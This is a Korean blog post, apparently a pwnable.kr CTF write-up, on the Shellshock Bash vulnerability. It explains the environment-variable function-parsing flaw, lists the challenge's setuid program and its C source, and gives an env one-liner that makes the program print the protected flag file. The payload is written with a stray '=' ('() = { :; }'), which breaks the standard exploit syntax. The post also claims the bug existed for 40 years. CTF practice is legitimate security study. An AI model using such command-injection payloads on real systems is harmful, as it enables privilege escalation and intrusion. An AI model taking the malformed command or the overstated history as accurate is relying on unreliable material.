[toddler's bottle] shellshock

폭풍저그머성찡 ㅣ 2018. 12. 3. 22:58

shellshock라는 아주 유명했던 취약점에 대해서 다루는 문제이다.


문제 자체는 아주 간단하므로 해당 취약점에 대해서 조사한 부분을 위주로 쓰겠다.


솔직히 존내 귀찮아서 걍 pdf 하나 긁어다 붙이면 끝이긴 한데 그러면 공부가 안되잖아 ㅇㅈ?


쉽게 설명해서 쉘스크립트 함수 선언문 파싱 에러다


env라는 명령어는 환경변수를 인자로 삼아서 프로그램을 실행 시킬때 사용하는데


env x='() = { 함수 어쩌구 }; 공격문' 실행프로그램


원래 이건 저 함수를 실행프로그램에 전달하는 의미의 쉘스크립트 구문이다.


그런데 이렇게 사이에 공격문을 넣어서 선언하면 따옴표 안은 함수 선언문이기때문에 공격문은 실행이 되지 않거나 에러가 떠야 정상인데 저거 파싱을 못해서 그냥 그대로 실행되버리는 버그 이다.


난 오늘 처음알았는데 무려 40년간 존재했던 버그이며 하트블리드 버그와 비슷한 시기에 발견되었는데


전문가들이 측정한 취약점 위험도가 하트블리드의 2배이다. ㅋㅋ 


10점으로 만점을 받으신 취약점 되시겠다.


이게 더욱 고위험 취약점으로 알려진 이유가 단순히 콘솔통신에서만 적용되는것이 아니라 http등의 웹통신에도 적용되서 2014년에 대대적인 패치가 이루어졌다.



shellshock@ubuntu:~$ ls -l

total 960

-r-xr-xr-x 1 root shellshock     959120 Oct 12  2014 bash

-r--r----- 1 root shellshock_pwn     47 Oct 12  2014 flag

-r-xr-sr-x 1 root shellshock_pwn   8547 Oct 12  2014 shellshock

-r--r--r-- 1 root root              188 Oct 12  2014 shellshock.c


#include <stdio.h>

int main(){

     setresuid(getegid(), getegid(), getegid());

     setresgid(getegid(), getegid(), getegid());

     system("/home/shellshock/bash -c 'echo shock_me'");

     return 0;

}


-c 옵션은 다음에 오는 문자열을 실행하라는 의미이다. (쉘은 정상적으로 열린다)



env f='() = { :; }; /bin/cat ./flag' ./shellshock


shellshock는 shellshock_pwn의 권한으로 쉘을 실행시키는데 flag파일도 shellshock_pwn 소유의 파일이다.


따라서 이렇게 실행하면 shellshock_pwn의 권한으로 flag를 출력해 낼 수 있다.







'write-up > pwnable.kr' 카테고리의 다른 글

[toddler's bottle] cmd2  (0) 2018.12.03
[toddler's bottle] cmd1 풀이  (0) 2018.12.03
[toddler's bottle] input  (0) 2018.11.30
[toddler's bottle] mistake  (0) 2018.11.30
[toddler's bottle] random  (0) 2018.11.30